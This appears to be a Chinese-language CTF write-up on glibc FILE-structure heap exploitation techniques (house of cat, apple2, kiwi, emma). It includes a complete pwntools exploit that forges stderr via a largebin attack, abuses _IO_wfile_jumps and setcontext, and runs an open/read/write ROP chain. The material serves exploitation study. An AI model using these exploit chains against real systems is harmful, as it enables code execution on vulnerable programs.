house_of_cat
经典题目了,直接看堆部分,尝试跟踪一下源码。
题目没有exit也不能从main中退出无法直接刷新IO流,我们只能通过__malloc_assert实现IO流的刷新,在__malloc_assert处调用__fxprintf打印错误信息

跟进__fxprintf,发现__fxprintf调用了__vfxprintf,__vfxprintf调用了locked_vfxprintf

继续跟进locked_vfxprintf,发现调用了 __vfprintf_internal

调试发现__vfprintf_internal调用了stderr虚表的_IO_file_xsputn

IO流调用链__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->(vtable+0x38)
libc 2.24之后有了虚表检查IO_validate_vtable,不能够伪造虚表,而WJUMP并没有检测虚表。可以伪造_IO_wfile_jumps进行攻击

在_IO_wfile_jumps中有这个函数_IO_wfile_seekoff,存在这以下调用链_IO_wfile_seekoff->_IO_switch_to_wget_mode->_IO_WOVERFLOW(vtable+0x18),要满足的条件是fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base。其中fp是stderr


我们可以largebin attack打stderr为可控堆地址伪造_IO_FILE结构体,top chunk的size为不符合标准的值。在sysmalloc中会判断top chunk的值是否正确,不正确会触发assert

assert就是__assert_fail,__assert_fail为__malloc_assert。


对此可以伪造stderr为以下结构体
fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(1) #_IO_buf_end
fake_struct += p64(0) #_IO_save_base
fake_struct += p64(heap_base+0x2070-0xa0) # rdx
fake_struct += p64(setcontext + 61) #call_addr
fake_struct += p64(0) #_markers
fake_struct += p64(0) #_chain
fake_struct += p64(0) #_fileno
fake_struct += p64(0) #_old_offset
fake_struct += p64(0) #_cur_column
fake_struct += p64(heap_base + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(0) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps+0x10) #vatable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40)
我们将stderr的虚表改成_IO_wfile_jumps+0x10,因为_IO_wfile_jumps在虚表检测范围中,可以通过虚表检查,当触发__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->(vtable+0x38)时,由于vtable改成了_IO_wfile_jumps+0x10于是就触发了_IO_wfile_jumps+0x48即_IO_wfile_seekoff

进入_IO_wfile_seekoff会检测fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base。由于_IO_FILE结构体的_wfile_data偏移为0xa0,_wfile_data被我们改成了fake_io_addr + 0x30。_IO_write_ptr 和_IO_write_base为1和0。通过检查进入_IO_switch_to_wget_mode

进入_IO_switch_to_wget_mode会执行_IO_WOVERFLOW,会去寻找_wfile_data的虚表偏移为0xe0对应fake_io_addr + 0x40。fake_io_addr + 0x40+0x18=setcontext + 61执行setcontext 。在call setcontext 时发现下列寄存器可控即
- _IO_backup_base = rdx
- 伪造的_IO_wfile_jumps=rax
- 当前堆地址=rbx,rdi

由于libc 2.29后setcontext 的rsp由rdx决定,可以控制rsp打orw。
注意通过exit执行不了_IO_switch_to_wget_mode,exit执行_IO_flush_all_lockp执行到OVERFLOW时传入的的rcx==0。

在_IO_wfile_seekoff中rcx必须不等于0。

完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
from pwn import *
import os
filename="./house_of_cat"
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
#gdb.attach(p,"b* (_IO_wfile_seekoff)")
else:
p=remote("node4.anna.nssctf.cn",28819)
libc=ELF("./libc.so.6")
elf=ELF(filename)
context.arch=elf.arch
select=b"plz input your cat choice:\n"
login = b"LOGIN | r00t QWB QWXFadmin"
cat=b"CAT | r00t QWB QWXF$\xff"
def add(index,size,content=b""):
p.recvuntil(b"mew mew mew~~~~~~\n")
p.send(cat)
p.sendlineafter(select, b"1")
p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())
p.sendlineafter(b"plz input your cat size:\n", str(size).encode())
p.sendlineafter(b"plz input your content:\n", content)
#p.sendlineafter(b"Content: ", content)
def edit(index,content):
p.recvuntil(b"mew mew mew~~~~~~\n")
p.send(cat)
p.sendlineafter(select, b"4")
p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())
p.sendlineafter(b"plz input your content:\n", content)
def free(index):
p.recvuntil(b"mew mew mew~~~~~~\n")
p.send(cat)
p.sendlineafter(select, b"2")
p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())
def show(index):
p.recvuntil(b"mew mew mew~~~~~~\n")
p.send(cat)
p.sendlineafter(select, b"3")
p.sendlineafter(b"plz input your cat idx:\n", str(index).encode())
p.recvuntil(b"mew mew mew~~~~~~\n")
p.send(login)
add(0,0x420)
add(1,0x430)
free(0)
add(2,0x440)
show(0)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21A0D0
print(hex(libc_base))
stderr=libc_base+libc.sym["stderr"]
_IO_wfile_jumps=libc_base+libc.sym["_IO_wfile_jumps"]
_IO_jumps_t=libc_base+libc.sym["_IO_file_jumps"]
setcontext=libc_base+libc.sym["setcontext"]
print(hex(stderr))
p.recvuntil(b"\x7f\x00\x00")
heap_base=u64(p.recv(6).ljust(8,b"\x00"))-0x290
print(hex(heap_base))
add(3,0x420)
fake_io_addr=heap_base+0x1C40
fake_struct = p64(0) #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(1) #_IO_buf_end
fake_struct += p64(0) #_IO_save_base
fake_struct += p64(heap_base+0x2070-0xa0) #_IO_backup_base = rdx
fake_struct += p64(setcontext + 61) #_IO_save_end = call_addr
fake_struct += p64(0) #_markers
fake_struct += p64(0) #_chain
fake_struct += p64(0) #_fileno
fake_struct += p64(0) #_old_offset
fake_struct += p64(0) #_cur_column
fake_struct += p64(heap_base + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wfile_data rax1
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(0) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps+0x10) #vatable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40)
pop_rdi =libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx_r12 = libc_base +0x000000000011f497
pop_rax = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
syscall_ret=libc_base + 0x0000000000091396
flag_addr = heap_base + 0xF60
rop = p64(heap_base+0x2070)+p64(pop_rdi) + p64(0) + p64(close)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rax) + p64(2) + p64(syscall_ret)
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr+0x10) + p64(pop_rdx_r12) + p64(0x100) + p64(0) + p64(read)
rop += p64(pop_rdi) + p64(flag_addr+0x10) + p64(puts)
add(4,0x450,b'/flag\x00')
add(5,0x420)
add(6,0x450)
add(7,0x418,fake_struct)
add(8,0x440,rop)
free(5)
add(9,0x450)
edit(5,p64(0)*3+p64(stderr-0x20))
free(7)
add(10,0x460)
add(11,0x440)
add(12,0x460)
free(9)
add(13,0x460)
edit(9,p64(0)*3+p64(heap_base+0x3AB0-0x20+3))
free(11)
#gdb.attach(p,"b *(_IO_wfile_seekoff)")
gdb.attach(p,"b calloc")
add(14,0x460)
gdb.attach(proc.pidof(p)[0])
p.interactive()
注意事项
- 在largebin attack打top chunk的size要注意绕过检查,top chunk的size要小于system_mem=0x21000,top chunk的size=0x55或者0x56即可,故largerbin attack的地址要+3。
- __malloc_assert在2.36之后不会刷新IO流了,在2.37及以后被删除,如果能找到第三个参数不为0的IO流可以使用此方法。

2.36

house of apple2
也是用了虚表替换的思想,将_IO_file_jumps替换成_IO_wfile_jumps从而执行wfile结构体虚表的函数。
众所周知exit能触发_IO_flush_all_lockp进而通过_IO_list_all找到所有IO结构体执行各自虚表的_IO_file_overflow,main函数退出也会执行exit,我们可以劫持_IO_list_all到可控区域进行伪造_IO_FILE_plus结构体进行任意函数执行
_IO_flush_all_lockp函数源码如下
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
我们关注该部分
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
该判断分为两部分,第一部分为
((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
第二部分为
_IO_OVERFLOW (fp, EOF) == EOF
在第一部分又分为两部分
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || ***
我们只要满足(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)即可执行_IO_OVERFLOW,伪造结构体如下
payload=flat(
{
0x18:1,
0x58:libc_base + 0xebcf1,
0x90:heap_base + 0xf30,
0xc8:_IO_wfile_jumps,
0xd0:heap_base + 0xf30,
},filler=b"\x00"
)
注意该结构体不包含chunk头部,故偏移都要减去0x10,将 fp->_IO_write_ptr置1,0xd8为结构体虚表置为_IO_wfile_jumps,0xe0为_IO_wide_data虚表将其改为本chunk地址,0xa0为_IO_wide_data在_IO_FILE_plus中的偏移,流程如下
exit---->_IO_flush_all_lockp---->_IO_wfile_jumps+0x18(_IO_wfile_overflow)---->_IO_wdoallocbuf---->*(*(*(_IO_FILE_plus+0xa0)+0xe0)+0x68)即_IO_FILE_plus->_IO_wide_data->_IO_wide_data_vtable+0x68
house of kiwi
也使用了__malloc_assert这条链子,house of cat利用了__fxprintf调用stderr的_IO_file_xputn可用伪造stderr

而house of kiwi则是使用了fflush调用stderr的_IO_file_sync。。。。。。。。

但是但是但是,正常情况下_IO_FILE_jumps是不可写的。

除非不懂什么情况下是可写的

可以写入_IO_file_sync改写成setcontext+61或者og。
在2.29以后写入setcontext要注意mov rsp,[rdi+0xa0]变成了mov rsp,[rdx+0xa0],当执行到_IO_file_sync时rdx=_IO_helper_jumps。可用劫持栈到_IO_helper_jumps+0xa0,但是但是_IO_helper_jumps部分不可写😓,除非在2.29之前可以劫持stderr+0xa0。

除非不懂什么情况_IO_helper_jumps下是可写的

house of emma
又又又使用了__malloc_assert这条链子。和cat一样走的是__fxprintf
Comments NOTHING